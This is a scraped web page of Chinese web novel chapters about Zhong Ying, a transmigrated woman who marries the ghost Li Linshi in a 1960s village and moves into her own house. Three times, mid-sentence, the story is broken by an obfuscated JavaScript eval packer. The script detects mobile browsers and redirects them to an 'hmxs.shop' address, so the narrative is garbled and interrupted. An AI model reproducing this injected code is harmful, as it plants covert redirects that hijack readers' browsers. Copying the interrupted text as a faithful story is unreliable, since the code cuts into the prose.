床上两床崭新的被子,寓意成双成对,特意留出来的布票本应兑成印有牡丹、凤凰之类色彩鲜艳的被面,现在也因这桩特殊的婚事只能换成了白色棉布。 看着这些东西,邓霞不禁又是悲从中来,“我可怜的闺女啊……” 钟颖不敢插科打诨了,认真安慰起她快要哭成小孩的娘,“你就当我是换了个地方住,反正都还是在一个生产队里,明天我就回来家里吃饭,行不行?” “我的傻闺女啊,嫁了人哪还能这么自由,”邓霞心痛如刀割,“男人不愿意、婆家也不会乐意的——” “可男人已经死了呀。”钟颖打断道,又整了整身上的衣服,低头看去。 结婚前婆家为表心意往往会给新媳妇做件新衣服,大多都是一件崭新的红毛衣或是红布褂子。 李家心有愧疚,毕竟这桩婚事特殊,给钟颖直接做了一身的新衣服,仿照时兴的军便服样式,却不是绿色的,而是用的更符合她未来身份的黑色涤卡布。 钟颖第一次试衣服的时候就觉得手里好像缺了点什么,要是再拿个白色搪瓷茶缸,分分钟就能cos老干部。 邓霞顺着闺女的目光看去,突然也觉得自己是不是想太多了,就李家表现出来的亏欠感,结婚第二天钟颖要往家跑,他们家可能还真不会阻拦。 男人死了、婆家愧疚,本会加注到新媳妇身上的两层锁名存实亡,邓霞不禁陷入思考,这些日子她想出的闺女未来会过的苦日子,真的会发生吗? 苗秀云在一旁伸出手去握住钟颖的手,“小妹你要是有不顺心的你就回家讲,家里会帮你的!” 钟妮早就变成了钟颖的“无脑粉”,“堂姐,我相信你一定能把日子过好的!” “我会的。”钟颖深信于此,从便利发达的现代生活突然变成六十年代的乡村生活,她不是也适应良好,不只扭转了死亡危机,还朝着她想要的生活步步推进。 寻常人家出嫁大多都是下午黄昏前后,钟颖准备出门时外面天已经彻底黑透了。 李明和大儿子李钢时一同架着生产队的牛车来到了钟家门口,钟家人忙活着把嫁妆箱子、新被子等嫁妆放到车上,大黑狗红糖自己跳上了车,它是钟颖特意要的陪嫁狗。 钟颖毫无新媳妇离家的不舍和难过,只把这一切当作是走过场,轻快的对钟春生、邓霞两人说,“爹、娘,那我就坐上车先走了哈。” 在屋子里已经被安慰好的邓霞没那么难过了,只含泪点了点头。 钟颖松了口气,目光移开,却见钟老爹开始吧嗒吧嗒的掉眼泪。 “是爹没本事……要是……爹还能热热闹闹的给你吹唢呐送嫁……”男儿有泪不轻弹,只是未到伤心时,压制了许久的情感再难以克制,一朝迸发出来,钟春生顾不上什么了,大颗大颗的眼泪从他眼睛里溢出,他统共就这么三个孩子,每一个都是他的心头肉。 钟颖一下子手足无措。 她其实不太会和“父亲”相处。 现代时她爸不着家,大部分时间都在外面应酬、工作,到后来的相亲、决裂,钟颖和她爸已经可以说是断亲; 穿越后,钟老爹是个寡言老实的庄稼汉,这时候的男人羞于表达感情,比起邓霞张扬的护崽子行为,他更多的是默默投喂个自留地的黄瓜、接手闺女压井水的事等等,都是无声无息的小事,不留意便会被很容易忽视。 可以说是继替钟颖收拾烂摊子、赔儿子一事后,钟颖在此刻再次清晰的感受到“父爱”。 钟颖扬起笑脸,眼中却闪烁着点点晶莹,“忘记哄爹了,好啦,爹,快别难过了,有没有唢呐送嫁都不重要,这是我想要的日子,我愿意的,你该为我高兴的,我以后一定能把日子越过越好的。” 看着悲悲戚戚的钟家人,李明良心都在痛,坐在牛车上第不知道多少次的在心里骂儿子:偏执玩意儿!害得他在这里做恶人! 不知道自己爹正在心里怒骂他的李霖时沉着脸坐在牛车上,新郎来接新媳妇是惯例,哪怕人们都看不见他,他还是来了。 好不容易安抚好钟老爹,钟颖轻盈的跳到牛车上坐好,对着满脸不高兴的死鬼会心一笑,她抱住红糖的狗头,两条腿摇晃着,奔赴她争取来的生活。 从钟家到李家,不过就是从村中到村口的距离,牛车很快就拉着新媳妇到了男方家里,步行过来的钟老爹、邓霞等人也只是落后几步。 寻常婚礼这时候男方家门口就要放鞭炮了,但因为这桩婚事的特殊性,一切都变得静悄悄的,牛车停下,人们就这样平静的走了进去。 李家院子里已经摆开了三张方桌,一些亲戚朋友们都已经到了,来吃席的人不多,只有李家和钟家的亲戚,生产队里没被邀请的人家也不恼,毕竟这不是一桩喜庆的婚事。 刘红艳带着二儿子李荣时往火盆里丢进去了特意找纸扎匠定的扎成新郎官样子的纸人,烈火吞噬着燃烧殆尽,只剩下灰黑的粉末。 钟颖控制住脸上不显露出惊讶的神色,看着李霖时身上的衣服从白衬衫、黑裤子变成一身新郎官的红色衣袍。 嚯,小魔仙变身。 钟颖忍不住暗自腹诽,接着就见刘红艳抱起一个木牌位朝她走过来。 刘红艳在钟颖面前站住,哽咽道,“颖妮儿,从今以后,我儿子就交给你了……” 钟颖连忙接过来,一种奇怪的感觉油然而生。 她突然有种角色颠倒的奇怪感觉,钟颖身上的黑色军便服其实反映着当下的服装趋势,不爱红装爱武装,女装去性别化,“男女同装”其实更偏向是男装;再加上刘红艳将“儿子”交给她手上的行为,寻常婚礼上不都是父亲将女儿交到女婿手上吗?所以钟颖才有种她好像变成“新郎”的感觉。 再一看李霖时,面容姣好、一身传统红衣婚袍,就是周身阴沉,满脸的不情愿,活像是被强取豪夺的“新娘”。 等等,钟颖自认“强娶”她还能认,“豪夺”就算了,人和鬼都不算一个物种了吧,她口味还没有那么重,尽管李霖时长得确实是在她的审美点上。 “……以后你就当我和他娘像你爹娘一样,你爹娘怎么对你的,我们也会学着对你好的。”李明说道,仍是满心愧疚。 天花乱坠的思绪停住,钟颖回过神来,露出一抹甜笑,从善如流的改口,“好的,爹、娘。” 李明和刘红艳沉重的心绪终于缓解了些,他们看得出这桩婚事所有人都没那么高兴,强颜欢笑,只有钟颖是真的发自内心的露出笑容。 好孩子啊,这是个有情有义的好孩子啊。 李明带着钟颖去认人,“这是老大,李钢时,这是他媳妇田梅……” 李钢时比李霖时大十岁,长得和他爹李明很像,只是他脸上总是带着笑意,三十二岁的他脸上已经隐隐出现中年人的法令纹。 他媳妇田梅也是三十出头的年纪,纤细的五官长在一张偏长的方脸上,眼尾上挑,长得并不算好看,甚至看着还有几分刻薄。 两人目前育有三个孩子,九岁的大女儿李秀云,六岁的儿子李光宗和四岁的小女儿李秀晴。 从扯着他娘嚷嚷着要夹菜的行为来看,钟颖觉得这便宜侄子不应该叫“光宗”,应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627069|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫“耀祖”才对。 “老二和柔妮儿是双胞胎,这是荣时媳妇聂金凤,你三姐夫钱明……” 钟颖又是乖巧的喊了人,目光清明的看着他们。 李荣时和李柔是双胞胎,今年都是二十七岁,两人长得有七分相像,都是一副好面容,浓眉大眼,只是李荣时看着更胖些,有种婚后幸福肥男人的样子。他媳妇聂金凤则是一副伶俐长相,一双杏眼最为标志,堪称点睛之笔,两人目前就只有一个儿子,才刚刚五岁,叫做李光福。 李柔就显得纤瘦很多,她的丈夫相较之下只能算是寻常人长相,两人这次来把不到四岁的女儿钱倩也带来了,小姑娘还好是更像娘一些,是个粉雕玉琢的漂亮女孩。 之后李明又带着钟颖认了认李霖时那嫁到沈家沟的二姑一家,还有李长贵他爹娘,钟颖唤了“三叔、三婶”…… 认了一圈人,对于钟颖这个新媳妇来说,这场婚礼她要参与的部分就已经结束了,之后有李明和刘红艳代替儿子招呼男客、女客们吃席。 田梅带着钟颖去了隔壁房子。 “这是以后你的房子。”田梅开了门上的锁就把钥匙给了钟颖。 推开大门走进去,钟颖双眼发亮,这处房子比刚刚的李家看着稍微小了一些,但和钟家差不多大。 田梅抱臂看着抱着个牌位的新妯娌,心里多少有些发怵,快速的交代她该说的话,“你自己住记得夜里把门拴好,有事对着院墙朝那边喊一声就行,我和你大哥是跟爹娘一块儿住在隔壁。” 李家是非常传统的农村家庭,长子养老,所以李钢时一家跟着爹娘住,二儿子李荣时一家则是结婚时就分了出去,住在村子腰腹部的位置,挨着刘满仓、范大妮两口子家。 “早上你起了之后就来家里吃饭,你二哥他们一家也是每天过来吃的,咱们家是分房不分家。”田梅一口气把该说的都说完,“饭菜早就分出来盛在碗里给你放在堂屋桌子上了,你吃了饭就歇着吧,我走了。” “好的,大嫂。”钟颖和她道别。 等田梅走了,钟颖把大门关好,立刻欢呼一声,冲进堂屋顾不上吃饭,把牌位随手放到桌上,拿起燃着的蜡烛就开始看她的房子。 “哇哦新刷的墙就是白,看着屋子都整洁亮堂了不少……卧室里的床好大,睡觉可以来回翻身了……这间房间空着,以后拿来放杂物好了……新茅房!好干净……” 李霖时看着钟颖撒欢儿般的在几间屋子中时不时冒出个头来,沉郁冷冽的脸上终于露出了几分笑意。 算了,她开心就好。 钟颖心满意足的视察、熟悉了自己的住处,从屋子里走出来,这才注意到李霖时还站在院子里。 “你还没走?”钟颖脸上露出诧异的神色,“这么晚了,我吃了饭之后收拾一下就要睡了,你回河里吧。” 她终于不用偷偷摸摸、可以用正常音量和死鬼交流了,不用担心被人看到会被当作是自言自语,自己一个人住就是爽!自由! 李霖时的脸又一下子垮下来,过河拆桥、用完就扔,好你个钟颖! “这也是我的房子。”李霖时咬牙。 钟颖倒也没有非要把鬼赶出去的意思,四处看了看,“那你去井里?还是需要给你一间屋子?你还需要睡觉吗?反正空屋子还有,你要是需要主屋可以让给你,我去住旁边的偏屋。” 钟颖自认自己这番话说得大大方方的,就当是合租呗,客气的有商有量才是长远之计,只是不知道为什么死鬼听了看着更生气了。 “你自己住吧。”李霖时扔下一句就气鼓鼓的化成水融入土地中。 钟颖摸不着头脑的挠了挠脸,感慨了一句,“脾气真坏啊。” 把死鬼抛之脑后,钟颖走到门边解开红糖脖子上的绳子,“在家里不用拴着,晚上和我一起睡屋里,红糖,再也没有人能管我们了!这个家我说了算!” 大黑狗兴奋的汪汪叫了两声,仿佛是附和。 “来,我们一起吃饭去,我看看有什么饭菜可以给你吃……” 李霖时其实没走,听着钟颖说话,她这人还真是奇怪,看门狗非要放到屋子里和人一起睡觉,那万一有人翻墙进来怎么办,她第一时间都发现不了! 他重新凝固身形,坐在院中那口井的沿边,眉头紧锁,异于常人的听力将一墙之隔人们纷杂的说话声听得清清楚楚,人多则容易生乱,这让他怎么能放心回到甘霖河之中。 李霖时看了一眼亮着光的屋子,婀娜的身影被投映在窗户上。 算了,他就守一晚好了。 45. 计较 亮起的天光照进崭新的小院里,屋门紧闭,一切都是那么的安静,仿佛还像是无人居住一般,但实际上,从昨晚起这里就已经迎来了它的主人。 “钟颖。” 李霖时已经听到了隔壁房子里的响动,应该是他爹娘起了。 “钟颖。”李霖时站在屋门外又叫了一声她的名字。 这边房子里仍然安安静静的,隔壁的声音却越来越多。 “爹,昨天席上剩下的菜早上热热吃吧?我再贴几个饼子……” “秀云,带着你弟你妹洗脸去……” 大哥大嫂一家也已经起来了。 钟颖毕竟是刚嫁过来的新媳妇,总不能等那边饭都做好了才出现,会被非议的。 如此想着,李霖时抿紧唇,犹豫片刻还是闪身直接进了屋子里面。 睡在床边的大黑狗嗅到空气中异样的味道,它立刻睁开了眼睛,但因为这种河水的清冽味道对它来说已经有些熟悉了,所以红糖并没有发出驱赶、威胁的吠叫。 夜里温度相较低了些,钟颖裹紧了身上的被子,一片绵软白色中只露出个脑袋,她枕在枕头上睡得正香,乌黑的长发无序的散落着,蜿蜒的像是山路般打着弯。 李霖时定定的看着她,感觉自己胸口里仿佛也飘进了一朵云,柔软的、同样有什么陷在其中。 “大嫂,我来帮你打个下手……” 李霖时听到他三姐的声音,回过神来。 “钟颖,钟颖,你该起了——” 钟颖终于醒了,一睁开眼就见穿着红衣的男鬼,她瞳孔一缩,怀疑自己刚刚听到的不是“钟颖,你该起了”,而是“钟颖,你该死了”,吓死人了! “你离我远点。”钟颖心脏跳得极快,她需要缓缓。 李霖时周身一僵,面庞线条绷紧,阴沉的退出去半米远。 钟颖坐起身来,真不是她反应过激,李霖时现在的样子简直像是性转版的恐怖游戏《X嫁衣》,她的目光落到他俊美无俦的脸上,钟颖默默在心里补充,不对,应该是恐怖向乙游。 李霖时本是好心,却不想被无情喝退,他脸色难看,语气也变得冷硬,“快起,隔壁都已经起来了。” 说完他就径自离开屋子。 钟颖只能从温暖的被窝里出来。 今天肯定要去地里上工,钟颖没穿昨天那身新衣服,从嫁妆箱子里翻出自己之前的旧衣服,找了件颜色素净的夹衣穿上。 钟颖拉开屋门,带着她那些“洋玩意儿”去洗漱,其实也就是一支大众牌牙刷和一个牙粉,小铁盒里淡绿色的粉末珍惜的用了两三年只剩下薄薄一层,她娘虽然嫌弃她学着镇上人穷讲究,但还是给她买了。 把头发随手扎成个丸子,钟颖站在井边开始压水准备洗脸刷牙,她握着压杆哼哧哼哧的大力下压又抬起,这种老式的取水方式她已经熟悉了,刚开始压的几下是上不来水的,就像是游戏中的蓄能阶段,读条满了之后才会有水出来。 李霖时站在远处,冷眼看着。 “咦?”钟颖惊讶的看着这就冒出来的井水,很快明白过来,一边忙着舀水一边扭头对死鬼道谢,“谢谢啊。” 钟颖洗了把脸,不吝啬的沾了剩余的牙粉开始刷牙,她现在可是有钱的人了,小小一盒牙粉,供销社里不用票五分钱一个,她买得起! 白天看小院更清楚,钟颖刷着牙目光巡视着院中,下次赶集再买几只小鸡仔,她自己的小日子也要过得有滋有味的,最好是鸡蛋味和鸡肉味的。 钟颖的目光又停留到院中男鬼的身上,她静静看了一会儿,仿佛在想什么。 洗漱完,钟颖没着急往隔壁李家跑,而是又回了屋子。 李霖时皱眉跟了过去。 “这些是你的东西吧,”钟颖拉开柜门,她带过来的只有两口箱子和两床被子,显然柜子里面已经放着的东西是李霖时的旧物,“有笔和纸吗?” 李霖时不明所以,但还是按她要的都找了出来。 钟颖握着笔,又瞟了李霖时一眼,低头在纸上画了起来。 不一会儿钟颖就画好了什么,只是不等李霖时看,就见她又去拿了昨夜用来点蜡烛的火柴。 钟颖捏着一根火柴棍,在火柴盒侧面棕色的方块上快速一划,火苗出现,随即点燃了她手里的纸,灰烬掉落在放着牌位的桌前地面上。 李霖时察觉到了什么变化,低头看去,他身上的衣服变成了圆领但没有任何前襟纽扣的深灰色上衣和裤腿两侧有着两个大口袋的白色裤子,这都是些什么奇怪衣服? 钟颖吃惊的张开了嘴,“还真行啊……” 李霖时一身红实在是诡异又扎眼,钟颖只是试试看,随手画了一件卫衣和工装裤烧给他,没想到真的又像昨天婚礼上那样给他换上了。 莫名的,钟颖突然觉得自己在这个时代找到了游戏,“额……奇迹霖霖?” 接着钟颖又想,她娘不用担心她那点子缝纫技能没办法给自家男人做衣服的事情了,不过很快,钟颖从这种被影响带偏的利他性想法转变会她自己的观念,这样子的话她是不是能薅几件衣服自己穿?穿不出门也可以做睡衣啊! 如此想着,钟颖兴奋地问,“你现在身上衣服能脱下来给我吗?放心,脱了我再给你画,你想要什么样的衣服我都烧给你!” 李霖时手指勾住身上衣服的领子,扯着往下一看,他抬头看向钟颖,开口多了几分压抑的火气,“我里面没有别的衣服了……” 脱了他就要光着身子了,她到底在想什么? “光膀子而已,我又不是没见过——”钟颖在一种恐怖的死亡视线的注视下,求生欲像被动技能一样触发,她接着说,“夏天地里很多男人不都是脱了上衣干农活的吗?” 感受到危机退散,钟颖松了口气,只在心里嘀咕,真够保守的,她只是要上衣已,又没叫他脱裤子。 李霖时又听到了什么声音,揭过刚刚的事情,催促道,“二哥二嫂一家过来了,你也快点过去吧。” 钟颖心中一紧,“那是要赶紧过去了,红糖,你先在家里呆着,等会儿我再回来喂你。” 大门挂上锁,钟颖就去了隔壁房子。 刚一进门,钟颖就感觉到了一股冲力推搡过来,她一时不察,踉跄着向后退了好几步,直到撞进身后鬼的胸膛。 李霖时扶住钟颖的肩膀,眉头紧锁低头看向刚才的始作俑者。 六岁的小男孩才到大人大腿位置那么高,小脸上的神情却不讨喜,仿佛盯着仇人般恶狠狠瞪着钟颖,“你走!你是坏人!占了我的房子!滚出去——” 李钢时冲过来捂住儿子的嘴,有些尴尬的对着钟颖笑笑,“四弟妹,对不住啊,光宗还小、不懂事,你别和小孩子一般计较。” 虽然是道歉,但听起来总让人有种不舒服的感觉。 不过钟颖也没打算计较什么,耀祖嘛,正常行为,反正这又不是她儿子。 只是李霖时仍冷沉着脸,怀疑他大哥教育孩子的方法是不是出了什么问题,明明去年在他死之前,李光宗还是个会乖乖唤他“小叔”的好孩子。 李钢时拉着儿子让开路,“你嫂子在厨房做饭呢,你要是有什么不爱吃的和她讲。” “哎。”钟颖应了一声,抬脚往厨房走,她打算过去问问有什么能帮忙的,毕竟以后是要生活在一起,她总不能让别人干活、自己只等着吃,就算是在钟家也是每个人都要做家务的。 这时,一个沙包滚到了钟颖面前,她停下脚步捡了起来,递给跑过来的另一个小男孩,这是李家老二李荣时的儿子李光福,比刚刚的耀祖小一岁。 李光福睁着圆溜溜的黑眼睛看着面前有些陌生的年轻女人,仿佛幼兽般小心的伸手去拿自己的沙包,等真的拿到手,他的小脸上绽开一个童真的笑,“谢谢小婶!小婶长得真漂亮!” 钟颖一怔,随即乐了,“你这么小还知道什么叫‘漂亮’啊。” 小男孩点点头,稚声稚气的说,“我知道,我爹总是这么对我娘说,‘你真漂亮,来亲——’” “李光福!”聂金凤从堂屋里出来,恼羞成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632019|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒的喊,“过来!” 被爹娘连名带姓的喊,男童立时浑身一颤,拿着沙包转身就老老实实跑到他娘跟前。 聂金凤按着儿子的肩头,看向钟颖的目光带着某种警惕。 “二嫂怎么会……她之前对我明明是很热情直爽的。”李霖时眉头皱得更紧了。 钟颖想了想,觉得原因很有可能出在她爹娘帮她争取来的“儿子”身上,二嫂对她的警惕怕是担心她见小光福可爱生出过继的心思吧。钟颖想着,不禁耸耸肩,她真的没有抢别人儿子的想法啊。 她继续向前走,走进厨房里,对田梅问,“大嫂,有什么要我做的吗?” 田梅早打好了腹稿,“四弟妹,我和你二嫂之前约定好的是单数日子我来做饭、双数她来做饭,要不这样吧,以后做饭的事还是我俩来,等吃完饭你帮着娘去刷碗,成不?” 古往今来,都知道厨房油水大,谁做饭谁就可以借着尝咸淡先吃两口,田梅和聂金凤都会在做饭时悄悄投喂自家孩子,大家都心知肚明。按理来说,李家三个儿媳妇都应该有同样的厨房掌勺权,只是田梅和聂金凤都不想把各自的十五天分出去五天给别人,所以想分给钟颖别的活计。 钟颖本来就不擅长做饭,对此也没什么意见,“行,那以后我洗碗。” 田梅松了口气,“那弟妹你先出去吧,等会儿饭就好了。” 一旁的李柔察觉到大嫂话里赶人的意味,立刻站出来打圆场,“颖妮儿,你帮我看着点倩倩吧,带着她们几个小的玩一会儿,很快就能吃上饭了。” 钟颖点点头,转身出了厨房。 院子一隅,三个小女孩自己就玩得挺好,皮筋的一头拴在两块摞起的大石头上,一头绷紧在年纪最大的李秀云腿上。 钟颖走过去,拍了拍小姑娘的肩膀,“你也和她们去跳皮筋吧,我来帮你们绷紧皮筋。” 李秀云是李家孙辈里最大的,很是懂事,但其实今年才九岁,还是个孩子,听到有人能来接替她,属于孩子的玩心盖过了长姐的责任感,“那……我去玩了,小婶,谢谢你。” 钟颖摇摇头,把皮筋固定到自己腿上,看着小姑娘们轻巧欢快的在皮筋间跳动,清晨升起的阳光落在她们飞扬的麻花辫上、照亮她们脸上的笑容。 “大嫂之前对我也不是这样的。”李霖时面色沉郁,按照世俗的角度来看,钟颖现在是他媳妇,家里人怎么能这么对她?侄子李光宗叫嚣、二嫂警惕、大嫂排斥……明明他印象中的家人并不是这样子的。 “男人视角和女人视角下的世界当然不是一个样了。”钟颖说着打了个哈欠,昨晚独居的兴奋感让她躺在床上好久都没睡着,导致她今天不止早上起不来,而且现在还有些困。 最令李霖时耿耿于怀的还是一开始李光宗推搡钟颖的那一下,还有他说的话,“那房子从一开始就是给我盖的,怎么到光宗嘴里变成他的了?” “一定是大人私下里这么说过,小孩子才会说那样的话。”想起刚刚大嫂几句话占住做饭的事情,李霖时不免怀疑到她身上,“没想到大嫂居然是个这么自私贪婪的人。” 是人多多少少都会有些自己的小算盘,钟颖对此不置可否,但并不是那么认同李霖时的话,“我倒是觉得也不一定归咎到大嫂身上哦。” 李霖时诧异的看向钟颖,“你觉得教坏孩子的人是我大哥?怎么可能。” “反正你现在是别人看不见的鬼,大可以去探究看看哦,就像我大伯娘考察未来女婿人选那样。”钟颖的话语仿佛像是蛊惑他打开未知的潘多拉魔盒,李霖时不由得攥紧了拳头。 “来打个赌吧,”钟颖说,“我猜是你大哥,你猜是大嫂。如果你是对的,我来刷碗;如果我是对的,你来替我刷碗。” 听着好像没什么问题。 李霖时却是气笑了,“你倒是会偷梁换柱,怎么样你都不亏。” 他赢了,钟颖刷碗,可这是几分钟前大嫂刚分给她的活;他输了,钟颖正好不用干了。 一天天的心眼子全用来算计他了! 46. 心怀鬼胎 春季的农活,以整地播种为主。 上工是两人一组,一个人在前面播种,另一个人在后面拉着一种叫“砘子”的特制工具碾压保墒,拉砘子的活不算太累,不需要技术,只要人不拉偏,砘子的两个石头辊子就会顺着播种留下的沟走。 这就是李明分给他小儿媳的活。 以往都是邓霞找到他求着给女儿安排个轻省活计,现在既然做出了要像人原先爹娘那样的承诺,李明只能学着做,只是他行事一向公里公道,就算给小儿媳安排了个轻省活,但工分该是多少还是多少,并不会多算。 反正这丫头也就一张口,就算加上她那只狗,也吃不了多少粮食,况且他们李家也不是靠媳妇赚工分的。 钟颖乐得清闲,下工后像昨天说的那样回了娘家。 “我回来吃饭啦。”钟颖带着红糖一进门就大声昭示着自己的存在。 邓霞和苗秀云立刻从厨房里出来,两人俱是惊喜又惊讶。 堂屋里冲出一个小人来,像小鸡仔一样“姑姑姑”的喊着,奔过来一把抱住钟颖的腿。 钟颖揉了揉钟国强的小脑袋,还是她老钟家的苗儿正。 “姐!”钟信也大步走过来。 钟春生也不无激动的看向闺女,心中的那股落寞感随着钟颖的归家消散了不少。 “你回来吃饭,婆家没什么意见吧?”邓霞高兴之余,又忍不住担心的问。 钟颖摆摆手,“没有,还说让我想回来就回来,只要提前说声就行,那边家里就不做我的饭了。” 苗秀云由衷的感到高兴,“好,真好,可没多少人出嫁了还能这么自在的,小妹果然是个有福气的。” 钟老爹也乐呵呵的说,“行,那就想回来就回来,家里不差你的饭。” 一扫昨日的悲戚。 “那谁在吗?”邓霞又讳莫如深的问道。 钟颖摇摇头,李霖时去“探究真相”了。 邓霞松了口气,拉着闺女进厨房,“苗儿啊,你歇着吧,让颖妮儿给我打下手就行。” 苗秀云善解人意的点点头,将空间留给娘俩。 邓霞拉着闺女的手摸来摸去,又仔细打量着钟颖的面色。 钟颖被她瞧得奇怪,疑惑的问,“娘,怎么了?” “我这是摸摸你手还热不热乎、看看你脸色发不发白,”邓霞说着,手是热乎的、脸色也一如往常的红润,她的心才算是终于放下,“我担心了一晚上,就怕你被吸了阳气去,都怪我,昨天只顾着难过去了,忘了和你叮嘱嫁人前都该和闺女家说的事……” 钟颖很快听懂了,突然觉得有些臊得慌,“娘,你也想太多了!” “哪里是我想太多,”邓霞压低声音,脸色很是严肃的问,“他没对你做什么吧?你可不能由着他来,该反抗就反抗,你现在毕竟是守寡,总不好大了肚子,没法儿解释啊……而且谁知道生出来是个什么……” 钟颖哭笑不得,“怎么可能,我是人,他是鬼,物种都不一样。” “那马和驴子还能生出骡子呢!”邓霞不赞同的反驳道。 钟颖语塞,“……” 好有道理啊,她竟一时无法反驳。 邓霞接着说,“而且不是还有那个词吗,叫什么怀鬼胎!” “……心怀鬼胎,”钟颖感觉自己额头上仿佛无形的多了三条竖线,“意思是心里隐藏着不可告人的事或坏主意,不是字面意思的怀着什么鬼胎。” 邓霞得知自己搞错了,面露尴尬,“哦这样啊,读过书就是知道的多,还好当年让你去村小上了学,还是有用的,读书好啊,人还是要读书……” 人尴尬的时候真的很忙,邓霞嘴皮子上下都要打架了。 钟颖失笑,“所以啊,娘你就别瞎想了,不可能的事。” 她强嫁李霖时图的就是不用生孩子,况且又不是真的夫妻,只能说是搭子、朋友?纯洁的很。 另一边,李家那边开饭了,李柔一家已经回了县城,钟颖回了娘家,饭桌上只有李明、刘红艳老两口和老大、老二两家人。 像往常一样吃过饭媳妇们麻利收拾了碗筷,李荣时带着媳妇聂金凤、儿子李光福就回他们自己的住处了,李钢时一家子也各自回屋。 “秀云,今天你带着你弟、你妹一块儿睡。”田梅说。 李光宗有些不乐意,“我想睡爹娘那屋。” “不行,”田梅板着脸,“你都多大了,还赖着找爹娘睡,你妹比你小都能自己睡了。” 李光宗看看妹妹李秀晴,瘪着嘴满脸的不高兴,但还是任由姐姐秀云牵着去了偏屋睡觉。 田梅和李钢时回了西北角两人的屋子里。 李霖时犹豫了片刻,对真相的渴望还是盖过了一切顾虑,他抬脚,走到了大哥大嫂屋子外面。 “我早就和你讲过了,不要当着孩子面说那些话!”关了门,田梅忍不住谴责道。 听到这话的李霖时目光凝滞,黑漆漆的眸子中满是错愕,不敢相信真的是他一向尊崇的大哥会做出的事情。 可接下来,李钢时的话仿佛重击一般,让李霖时彻底认清。 “哪有什么的,”李钢时话语中带着轻蔑、不在意,“本来就是,要是没有钟颖嫁过来的事,反正四弟已经死了,无儿无后的,隔壁房子以后不是给光宗还能给谁?” 没有外人在,李钢时没了顾忌,也不用在装出一副和善可亲的笑模样,说话也随心。 李钢时又纳闷的说,“不过爹娘怎么会同意钟颖那妮子嫁过来守寡?这不胡闹吗?还由着她想回娘家就回娘家,不知道的还以为咱们家多亏欠她似的。” 说起这个,田梅也纳闷得很,“是啊。” “不过我看钟颖也不像外人说的那么坏,”田梅说起白日里的事,“我本来没抱多大希望,以为她会再争,结果她就这么同意了,以后还是我和老二家的管厨房做饭。” 李钢时不怎么在意女人之间的事,只敷衍的应了一声。 半晌后,李钢时咋舌,摇头感慨道,“唉,你说四弟好好的大学生不待在城里分派工作,回来干嘛呢?那个词叫什么,跌宕起伏!他一回来,社员们就不认我认他了,明明以前都夸我才是爹的接班人,以后生产队的队长非我莫属。” “好家伙,四弟一回来,简直就像是金凤凰飞回来了,一个个看他那热乎劲儿,恨不得立刻让他接爹的班。”李钢时咬牙,话里的嫉妒、愤恨毫不掩饰,“不过人这命里该有什么都是注定的,是我的终究还是我的。” 李霖时怔忪站在原地,从没想过大哥对自己会有如此大的恶意。 他打开了潘多拉的盒子,看到了被掩饰的另一面。 李钢时和李霖时差了十岁,李钢时下地帮着父母干活的时候,李霖时还不过是个孩童。 尽管李霖时更亲近从小把他带大的二哥、三姐,但在他心里仍然是有大哥的一席之地的,“大哥”,这两个字每唤一声都带着孺慕。 李霖时突然觉得可笑,可笑极了。 一个生产队的队长之职,能有多大的权利,又不是什么土皇帝的皇位,怎么偏偏大哥就看在了心里,大哥也是读过书的,比二哥还多读了三年镇上初中,难道不知道村子外面还有更大的天空。 攥紧的拳头不禁打着颤,是被克制到了极限的愤恨,李霖时又想到了什么,发出了自嘲的轻笑。 其实也并非是无迹可寻,他考到年级第一被选上县城中学时、考上大学时,家里人都为他感到高兴,只有大哥的脸上除了高兴还有些惊讶。 惊讶什么呢?惊讶弟弟反倒比哥哥还要走得远、走得高? 李霖时心灰意冷,明明是亲兄弟却到现在才看清面目。 胸口好似有团又冷又黑的火在燃烧,李霖时咬紧后槽牙,离开家又去了二哥家,索性看个究竟,好好看看他的这些亲人们的真面目。 李荣时和聂金凤两口子也正说着话。 “早不来,晚不来,偏偏这个时候来!”聂金凤恨恨的说,“咱俩盼了四年!都四年了!好不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639981|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怀上了,还有可能被过继走!” 世人都盼着生儿子,可这回聂金凤却盼着自己肚子里这一胎能是个闺女,千万是个闺女! 聂金凤气得胸口发堵,无处发泄,来回踱步,最后只咬着牙狠狠拧了一把丈夫腰上的肉。 李荣时疼得“嗷”了一声。 李霖时过来就听二哥叫得这一嗓子。 出过气了,聂金凤这才坐回到椅子上,“爹娘可是当着家里人的面都说过了,谁家得了第二个儿子,就要过继给你弟。” 她抚上仍然平坦的肚子,心有戚戚,“就算现在我有了,我都不敢表露出来。四年了,四年才盼来的这个孩子,让我怎么能割舍的掉!” 